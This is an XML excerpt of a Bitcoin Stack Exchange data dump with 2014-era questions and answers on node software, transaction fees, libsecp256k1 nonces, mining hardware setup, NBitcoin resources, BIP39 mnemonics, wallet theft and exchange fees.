  <row Id="32956" PostTypeId="2" ParentId="32955" CreationDate="2014-11-22T14:52:48.570" Score="5" Body="&lt;p&gt;You can't run Bitcoin on CentOS 5. It's too old.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can't run the binaries because they are compiled against much newer versions of glibc and other critical libraries.&lt;/li&gt;&#xA;&lt;li&gt;You can't compile the source code because it requires much newer versions of libraries than are present in CentOS 5.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I ran into these issues when putting together &lt;a href=&quot;https://www.cryptorpms.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;my Bitcoin yum repository for RHEL/Fedora&lt;/a&gt;. As you'll note, only EL 6 and 7 (and of course Fedora) are viable targets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's not to say that it's impossible; it's merely very difficult and a whole lot of work. And you shouldn't use old operating systems for new projects anyway.&lt;/p&gt;&#xA;" OwnerUserId="1567" OwnerDisplayName="Michael Hampton" LastEditorUserId="1567" LastEditDate="2020-01-06T18:43:45.317" LastActivityDate="2020-01-06T18:43:45.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32957" PostTypeId="2" ParentId="32954" CreationDate="2014-12-10T23:12:06.383" Score="2" Body="&lt;p&gt;In short, no.  You can tell the customer whatever you want on your webpage, at your point of sale, or in the memo field of a &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP70&lt;/a&gt; invoice---but once the transaction has been sent to the network, there's no way for the customer to take it back.  (Except for double spending, but that's discouraged.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the long-term, miners will likely change their transaction-selection process to allow for child-pays-for-parent fee calculation.  For example, imagine merchant-created unconfirmed transaction B spends an output from customer-created unconfirmed transaction A.  Currently, most miners use a naïve formula for selecting whether to include those transactions in their block attempts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If transaction A pays a high enough fee per kilobyte, include it in the block.&lt;/li&gt;&#xA;&lt;li&gt;If transaction A is included and transaction B pays a high enough fee per kilobyte, include transaction B as well.  (Note, consensus rules don't allow including child transaction B before its parent transaction A.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In child-pays-for-parent, the miner will do the calculations above the same but also do a third calculation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If transaction A's fee plus transaction B's fee is high enough per kilobyte of the combined size of transaction A plus transaction B, include both transactions in the block.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This allows merchants to effectively add a fee to any low-value transactions, helping to encourage miners to confirm those transactions quickly.  This method does have some overhead, so having the customer pay an appropriate fee would be ideal, but it can help prevent transactions from getting stuck.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-10T23:12:06.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32958" PostTypeId="1" AcceptedAnswerId="37300" CreationDate="2014-12-10T23:38:09.443" Score="6" ViewCount="277" Body="&lt;p&gt;In the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp&quot; rel=&quot;nofollow&quot;&gt;main.cpp bitcoin code&lt;/a&gt;, there are a few different functions for managing blocks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ProcessNewBlock()&#xA;AcceptBlock()&#xA;CheckBlock()&#xA;ConnectBlock()&#xA;DisconnectBlock()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is a good summary for what each of these methods do, and the differences between them?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-03-30T21:27:44.483" LastActivityDate="2015-05-08T13:21:47.650" Title="Which block() method does what?" Tags="|bitcoin-core-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32959" PostTypeId="1" CreationDate="2014-12-10T23:52:30.660" Score="1" ViewCount="47" Body="&lt;p&gt;If I load bitcoins to my wallet and the funds are there, and I go back to load more Bitcoins with a new address for my wallet are the funds from my first wallet going to merge with the newly added funds from the new generated wallet ?&lt;/p&gt;&#xA;" OwnerUserId="21469" LastEditorUserId="21470" LastEditDate="2014-12-11T00:19:46.590" LastActivityDate="2014-12-11T00:19:46.590" Title="Funds and Wallets" Tags="|wallet|security|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32960" PostTypeId="2" ParentId="32959" CreationDate="2014-12-10T23:58:36.440" Score="2" Body="&lt;p&gt;I think you have an incorrect view of the way wallets work.  A wallet is a collection of addresses, so whenever you receive any transfers by any address in your wallet it is added to your 'collection' of transactions.  So yes, if you use two different addresses pointing to the same wallet the sum total of the two transactions will be added to your wallet.&lt;/p&gt;&#xA;" OwnerUserId="21470" LastActivityDate="2014-12-10T23:58:36.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32961" PostTypeId="1" CreationDate="2014-12-11T00:07:44.967" Score="0" ViewCount="496" Body="&lt;p&gt;I'm looking into trading on btc-e but can't find too much info on the trading fees. All I see is a general 2%. Is there a fee for trading btc in or out? What else is there? What's the 2% calculated off of? &lt;/p&gt;&#xA;" OwnerUserId="21471" LastEditorDisplayName="user11221" LastEditDate="2014-12-11T03:47:23.120" LastActivityDate="2015-05-03T05:49:01.170" Title="Question about BTC-E fee's" Tags="|exchanges|exchange-rate|btce|exchange-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32962" PostTypeId="2" ParentId="32928" CreationDate="2014-12-11T00:29:07.813" Score="7" Body="&lt;p&gt;ECDSA_do_sign() does not allow specifying the nonce. You can use ECDSA_do_sign_ex(), which needs extra arguments for (k*G).x and 1/k instead.&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin master recently switched to the libsecp256k1 library for signing, which always needs the nonce passed explicitly, and does not require precomputation of the x coordinate and inverse. See the code in Bitcoin Core for signing: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0a1d03ca5265293e6419b0ffb68d277da6b1d9a0/src/key.cpp#L75-L92&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/0a1d03ca5265293e6419b0ffb68d277da6b1d9a0/src/key.cpp#L75-L92&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Disclaimer: I'm the author of libsecp256k1.&lt;/p&gt;&#xA;&lt;p&gt;Edit: this answer is now outdated. libsecp256k1 now computes the nonce automatically using a nonce function. The default nonce function is RFC6979-based. It is no longer possible to specify the nonce directly, as this is dangerous practice.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2021-12-11T22:36:54.873" LastActivityDate="2021-12-11T22:36:54.873" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32964" PostTypeId="1" AcceptedAnswerId="33963" CreationDate="2014-12-11T05:30:09.510" Score="3" ViewCount="2950" Body="&lt;p&gt;Question by someone who is new to Bitcoin. Bitcoin mining is considered taxable income in the US. However, if it's given as a gift, then should it be taxable under US law?&lt;/p&gt;&#xA;" OwnerUserId="21246" LastEditorUserId="21246" LastEditDate="2014-12-11T05:39:18.450" LastActivityDate="2017-12-06T19:13:57.537" Title="Is Bitcoin given as a gift taxable?" Tags="|taxes|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33963" PostTypeId="2" ParentId="32964" CreationDate="2014-12-11T06:09:05.983" Score="2" Body="&lt;p&gt;This is probably better for Money.SE as it doesn't really have anything to do with Bitcoin; it would be the same for any sort of  income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my understanding of tax law with respect to gifts is roughly this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Money, goods or services that you earn from working, business or investing are taxable income to you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you decide to give some of that money to someone else, that's your business; but you still earned it, and it's still your taxable income.  Giving it away doesn't change your taxes at all.  The IRS doesn't really care whether you gave it to your friend or used it to buy 300 pounds of jellybeans.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Within certain limits, the gift is not taxable income to your friend (who didn't earn it).  However, above those limits, it can be subject to gift tax.  I think beyond $13,000 per year, you have to start keeping track of such gifts; gift tax does not actually kick in until a larger number, but it counts gifts spread across several years.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The one major exception is if you give the money to a registered charitable organization.  Then you can deduct the gift from your income, again up to certain limits (usually 50% of your income).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: If you want tax advice, talk to a professional who's qualified to give it.  I'm not.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-12-11T06:09:05.983" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="33965" PostTypeId="1" CreationDate="2014-12-11T07:58:53.567" Score="4" ViewCount="221" Body="&lt;p&gt;Since the private key is needed to validate ownership, how does it work when you cannot access the private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say X owned bitcoins and willed it to Y, but Y does not have X's private key. Say X's estate does not want to to give access to the private key or the location of the private key is untraceable.&lt;/p&gt;&#xA;" OwnerUserId="1417" LastEditorUserId="5406" LastEditDate="2015-07-21T12:49:42.757" LastActivityDate="2015-07-21T12:49:42.757" Title="Can you inherit bitcoins without the private key?" Tags="|legal|ownership|inheritance-plan|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33966" PostTypeId="2" ParentId="33965" CreationDate="2014-12-11T09:05:14.333" Score="4" Body="&lt;p&gt;Y can't spend the Bitcoins. You need the private key for an address to spend the Bitcoins from that address. There's no way around it.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-12-11T09:05:14.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33967" PostTypeId="1" AcceptedAnswerId="33998" CreationDate="2014-12-11T10:29:25.343" Score="3" ViewCount="272" Body="&lt;p&gt;I the news I read this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The firm was forced to make a security disclosure on its blog and on&#xA;  Reddit, admitting that a development error had led to a problem with&#xA;  the generation of private keys. Private keys (effectively the private&#xA;  addresses used to hold bitcoin) were generated with a low degree of&#xA;  entropy, making them easy for attackers to retrieve.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a detailed analysis available of what exactly happened or perhaps you could share your thoughts on this? I understand a concept of information entropy just want to know what should be done and what should be avoided to achieve a high degree of entropy.&lt;/p&gt;&#xA;" OwnerUserId="12533" LastActivityDate="2014-12-12T14:42:17.360" Title="Technical analysis of Blockchain.info security breach" Tags="|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33968" PostTypeId="1" AcceptedAnswerId="33969" CreationDate="2014-12-11T10:33:51.770" Score="1" ViewCount="4710" Body="&lt;p&gt;How do I get the Bitmain U3 running on Linux?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Ubuntu Server 11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded the bitmain branch of cgminer and compiled it to using &lt;code&gt;CFLAGS=&quot;-O2 -Wall -march=native&quot; ./configure --enable-bmsc&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also downlaoded the official 4.9.0 and used CFLAGS=&quot;-O2 -Wall -march=native&quot; ./configure --enable-icarus` as described in the text for U3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do a &lt;code&gt;lsusb&lt;/code&gt; and it shows this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gRDTj.png&quot; alt=&quot;lsusb output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer just does this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fvaRi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything that I missed? I read that its supposed to pick up the U3 automatically with default settings, then I can over clock it a bit to get the 63ghs stable.&lt;/p&gt;&#xA;" OwnerUserId="3656" LastEditorUserId="3656" LastEditDate="2015-01-07T10:05:45.090" LastActivityDate="2017-07-18T18:54:19.307" Title="How to get Bitmain U3 running on Linux?" Tags="|linux|antminer|u3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33969" PostTypeId="2" ParentId="33968" CreationDate="2014-12-11T11:38:26.460" Score="0" Body="&lt;p&gt;The original USB cable supplied was faulty?? After I plugged it into another USB port just above it started to kick in but went ZOMBIE after a few seconds with USB Communication error??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took another USB cable from my old 10xErupter Mega hub. Plugged it direct into the motherboard USB slot and U3 (also shorter cable).  &lt;code&gt;cgminer&lt;/code&gt; started to do all kinds of weird settings until it settled down on &lt;code&gt;AU3&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the official git, I compiled &lt;code&gt;cgminer&lt;/code&gt; (This also works for Raspberry Pi)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CFLAGS=&quot;-O2 -Wall -march=native&quot; ./configure --enable-icarus&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NOTE: Since version 4.9.0 you should not need to use any au3 switches&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I set cgminer to &lt;code&gt;--au3-freq 238 --au3-volt 780&lt;/code&gt; Allot of people say that when you go higher than 780 with the stock 6A power supply it melts in about 10 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I get round to using my computer PSU I will clock these at 250/800 as recomended for best speed stability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KgAf7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3656" LastEditorUserId="3656" LastEditDate="2015-01-06T20:00:21.920" LastActivityDate="2015-01-06T20:00:21.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33970" PostTypeId="2" ParentId="32462" CreationDate="2014-12-11T12:46:43.880" Score="8" Body="&lt;p&gt;I just published a book about it. It's called &lt;a href=&quot;https://bitcointalk.org/index.php?topic=926087.0&quot; rel=&quot;noreferrer&quot;&gt;&quot;Blockchain Programming in C#&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for tools written in C#, you should try &lt;a href=&quot;https://www.nuget.org/packages/NBitcoin/&quot; rel=&quot;noreferrer&quot;&gt;NBitcoin&lt;/a&gt;. You can also find &lt;a href=&quot;https://github.com/NicolasDorier/NBitcoin&quot; rel=&quot;noreferrer&quot;&gt;the project on GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also written lots of articles about it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Intro: &lt;a href=&quot;http://www.codeproject.com/Articles/768412/NBitcoin-The-most-complete-Bitcoin-port-Part-Crypt&quot; rel=&quot;noreferrer&quot;&gt;http://www.codeproject.com/Articles/768412/NBitcoin-The-most-complete-Bitcoin-port-Part-Crypt&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Stealth Payment, and BIP38: &lt;a href=&quot;http://www.codeproject.com/Articles/775226/NBitcoin-Cryptography-Part&quot; rel=&quot;noreferrer&quot;&gt;http://www.codeproject.com/Articles/775226/NBitcoin-Cryptography-Part&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to build transactions: &lt;a href=&quot;http://www.codeproject.com/Articles/835098/NBitcoin-Build-Them-All&quot; rel=&quot;noreferrer&quot;&gt;http://www.codeproject.com/Articles/835098/NBitcoin-Build-Them-All&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the NBitcoin Indexer: &lt;a href=&quot;http://www.codeproject.com/Articles/819567/NBitcoin-Indexer-A-scalable-and-fault-tolerant-blo&quot; rel=&quot;noreferrer&quot;&gt;http://www.codeproject.com/Articles/819567/NBitcoin-Indexer-A-scalable-and-fault-tolerant-blo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to Scan the blockchain: &lt;a href=&quot;http://www.codeproject.com/Articles/784519/NBitcoin-How-to-scan-the-Blockchain&quot; rel=&quot;noreferrer&quot;&gt;http://www.codeproject.com/Articles/784519/NBitcoin-How-to-scan-the-Blockchain&lt;/a&gt; (You can dismiss the ScanState for that, now I concentrate on the indexer)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21478" LastEditorUserId="2306" LastEditDate="2015-01-16T16:30:18.187" LastActivityDate="2015-01-16T16:30:18.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33971" PostTypeId="2" ParentId="13250" CreationDate="2014-12-11T12:48:49.443" Score="4" Body="&lt;p&gt;NBitcoin is the most complete lib to date, here are links and articles about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NBitcoin Github : &lt;a href=&quot;https://github.com/NicolasDorier/NBitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/NicolasDorier/NBitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NBitcoin Nuget : &lt;a href=&quot;https://www.nuget.org/packages/NBitcoin/&quot; rel=&quot;nofollow&quot;&gt;https://www.nuget.org/packages/NBitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intro : &lt;a href=&quot;http://www.codeproject.com/Articles/768412/NBitcoin-The-most-complete-Bitcoin-port-Part-Crypt&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/768412/NBitcoin-The-most-complete-Bitcoin-port-Part-Crypt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stealth Payment, and BIP38 : &lt;a href=&quot;http://www.codeproject.com/Articles/775226/NBitcoin-Cryptography-Part&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/775226/NBitcoin-Cryptography-Part&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to build transaction : &lt;a href=&quot;http://www.codeproject.com/Articles/835098/NBitcoin-Build-Them-All&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/835098/NBitcoin-Build-Them-All&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the NBitcoin Indexer : &lt;a href=&quot;http://www.codeproject.com/Articles/819567/NBitcoin-Indexer-A-scalable-and-fault-tolerant-blo&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/819567/NBitcoin-Indexer-A-scalable-and-fault-tolerant-blo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to Scan the blockchain : &lt;a href=&quot;http://www.codeproject.com/Articles/784519/NBitcoin-How-to-scan-the-Blockchain&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/784519/NBitcoin-How-to-scan-the-Blockchain&lt;/a&gt; (You can dismissthe ScanState for that, now I concentrate on the indexer)&lt;/p&gt;&#xA;" OwnerUserId="21478" LastActivityDate="2014-12-11T12:48:49.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33972" PostTypeId="2" ParentId="24221" CreationDate="2014-12-11T12:51:06.720" Score="2" Body="&lt;p&gt;NBitcoin supports connection to the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NBitcoin Github : &lt;a href=&quot;https://github.com/NicolasDorier/NBitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/NicolasDorier/NBitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NBitcoin Nuget : &lt;a href=&quot;https://www.nuget.org/packages/NBitcoin/&quot; rel=&quot;nofollow&quot;&gt;https://www.nuget.org/packages/NBitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intro : &lt;a href=&quot;http://www.codeproject.com/Articles/768412/NBitcoin-The-most-complete-Bitcoin-port-Part-Crypt&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/768412/NBitcoin-The-most-complete-Bitcoin-port-Part-Crypt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stealth Payment, and BIP38 : &lt;a href=&quot;http://www.codeproject.com/Articles/775226/NBitcoin-Cryptography-Part&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/775226/NBitcoin-Cryptography-Part&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to build transaction : &lt;a href=&quot;http://www.codeproject.com/Articles/835098/NBitcoin-Build-Them-All&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/835098/NBitcoin-Build-Them-All&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the NBitcoin Indexer : &lt;a href=&quot;http://www.codeproject.com/Articles/819567/NBitcoin-Indexer-A-scalable-and-fault-tolerant-blo&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/819567/NBitcoin-Indexer-A-scalable-and-fault-tolerant-blo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to Scan the blockchain : &lt;a href=&quot;http://www.codeproject.com/Articles/784519/NBitcoin-How-to-scan-the-Blockchain&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/784519/NBitcoin-How-to-scan-the-Blockchain&lt;/a&gt; (You can ignore the ScanState part)&lt;/p&gt;&#xA;" OwnerUserId="21478" LastActivityDate="2014-12-11T12:51:06.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33973" PostTypeId="1" CreationDate="2014-12-11T13:30:47.670" Score="1" ViewCount="422" Body="&lt;p&gt;I'm trying to detect deposits that user will made. I explained it with comment lines in below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you are there any flaw in it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _ = require('underscore')&#xA;&#xA;var check = function(client, site) {&#xA;    // check last 10 transactions&#xA;    bitcoin_client.cmd('listtransactions', '*', 10, function(e, transactions) {&#xA;&#xA;            if (!transactions) return;&#xA;            var TRANSACTION = transactions.transactions;&#xA;&#xA;            for (var i = 0; i &amp;lt; TRANSACTION.length; i++) {&#xA;                depositDetector(i)()&#xA;            };&#xA;&#xA;            function depositDetector(i) {&#xA;                return function() {&#xA;                    //check if it's received&#xA;                    if (TRANSACTION[i].category == &quot;receive&quot; &amp;amp;&amp;amp; TRANSACTION[i].amount &amp;gt;= 0.00000100) {&#xA;&#xA;                        var txid = TRANSACTION[i].txid&#xA;                        var address = TRANSACTION[i].address&#xA;                        var amount = TRANSACTION[i].amount&#xA;                        var confs = TRANSACTION[i].confirmations&#xA;&#xA;                        // find it in deposits database&#xA;&#xA;                        deposit.find({&#xA;                            'txid': txid&#xA;                        }).exec(function(e, _deposit) {&#xA;                                // if there is deposit with that txid's&#xA;                                //save their confirmations&#xA;                                if (_deposit.length &amp;gt; 0) {&#xA;                                    _.each(_deposit, function(a) {&#xA;                                        a.confs = confs;&#xA;                                        a.save() //confirmations updated&#xA;                                    })&#xA;&#xA;                                } else { // the txid is new, find user with it's address&#xA;                                    //and update user with that transaction amount.&#xA;&#xA;                                    user.findOneAndUpdate({&#xA;                                        'btc_address': address&#xA;                                    }, {&#xA;                                        $inc: {&#xA;                                            'btc_balance': amount&#xA;                                        }&#xA;                                    }).exec(function(e, _user) {&#xA;&#xA;                                            // !e &amp;amp;&amp;amp; save deposit to database / finished            &#xA;&#xA;                                        }&#xA;                                    })&#xA;&#xA;&#xA;&#xA;                            }&#xA;                        })&#xA;&#xA;                }&#xA;            }&#xA;        }&#xA;    })&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21481" LastEditorUserId="2306" LastEditDate="2014-12-11T17:36:48.697" LastActivityDate="2014-12-11T17:36:48.697" Title="Bitcoin, detecting deposits to the node.js server (code review)" Tags="|bitcoind|json-rpc|node.js|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33974" PostTypeId="2" ParentId="30879" CreationDate="2014-12-11T14:06:29.493" Score="10" Body="&lt;p&gt;to answer the first part;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;generally speaking people will want to backup their whole wallet, not specific PKs.&#xA;so using a HD wallet and making a backup of the seed (either the seed or a BIP39 mnemonic doesn't matter) matches what people using 'normal' wallets do, you backup your whole wallet in 1 place (most wallets have a backup/export file for the whole wallet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP32 - HD Wallets - (and BIP39) isn't supposed to replace being able to split your backups into multiple private keys being scattered around, it replaces a single wallet being backed up in a 'traditional' way, 1 file (or print) for the whole wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also a BIP39 paper backup has the same issues as normal private key backups that you mention, if you loose the passphrase or mispel it ... it's gone ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to spread the risk by splitting your bitcoins across multiple backups then you should just have multiple wallets to split them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP39 is also only the process of converting a seed to mnemonic and back, your (above discussed) concerns are actually with HD wallets in general, which is BIP32 ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now your only real concern regarding BIP39 is about the words containing enough entropy!&#xA;and they do, because the words are generated from a 128 or 256 bit entropy to begin with, the hex entropy is split into chunks of 11, which means you have a list of 0-2047 integers as a result.&#xA;that list of integers is translated to the words (and back to the hex and to the binary entropy when you use it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me demonstrate that by showing you how one of the official test vectors is converted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hex of entropy: 7f7f7f7f7f7f7f7f7f7f7f7f7f7f7f7f&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bits of entropy: 011111110111111101111111011111110111111101111111011111110111111101111111011111110111111101111111011111110111111101111111011111111000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;chunked into 11 length parts:&#xA; [0] =&gt; 01111111011&#xA; [1] =&gt; 11111011111&#xA; [2] =&gt; 11011111110&#xA; [3] =&gt; 11111110111&#xA; [4] =&gt; 11110111111&#xA; [5] =&gt; 10111111101&#xA; [6] =&gt; 11111101111&#xA; [7] =&gt; 11101111111&#xA; [8] =&gt; 01111111011&#xA; [9] =&gt; 11111011111&#xA;[10] =&gt; 11011111110&#xA;[11] =&gt; 11111111000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;those parts converted into words using the default word list:&#xA;legal winner thank year wave sausage worth useful legal winner thank yellow&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the mnemonic together with the password TREZOR converted to a seed hex:&#xA;2e8905819b8723fe2c1d161860e5ee1830318dbf49a83bd451cfb8440c28bd6fa457fe1296106559a3c80937a1c1069be3a3a5bd381ee6260e8d9739fce1f607&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now the cool part actually is that if you use a different password with the same mnemonic you get a different seed and thus a different wallet, you could have 2 wallets and if you get robbed only hand over the BTC in one of them ;-)&lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2014-12-11T14:06:29.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33975" PostTypeId="1" CreationDate="2014-12-11T17:09:39.827" Score="0" ViewCount="225" Body="&lt;p&gt;I opened my wallet after almost a year and all of a sudden I see 2 transactions saying I sent coins to someone.  The address it says I sent to is 1PAZw2aNgurapsxUVm8ctZDD76v7JiwQkC however I never sent this.  So, if someone is stealing my coins how do they do it while my wallet is closed (and incidentally it is also encrypted)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done several deep scans...my guess is that I had tried out a mining pool and that software was the culplrit...needless to say I deleted it and did multiple deep scans.  But if my keys are compromised is there any way to change them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nate thanks for the reply...is there a way to change my private keys are get new ones?  &lt;/p&gt;&#xA;" OwnerUserId="21486" LastEditorUserId="21486" LastEditDate="2014-12-11T18:35:00.590" LastActivityDate="2014-12-11T19:25:25.917" Title="Coins sent while wallet closed" Tags="|wallet-security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33976" PostTypeId="2" ParentId="32961" CreationDate="2014-12-11T17:34:16.150" Score="1" Body="&lt;p&gt;0.2% is taken from each trade, so if you sold BTC for $100 USD you'd get $99.80 in your account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coin deposits are free, withdrawals are subject to a generous miners fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fiat deposits/withdrawals vary from something like 1% to 6% I can't recall off the top of my head.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-12-11T17:34:16.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
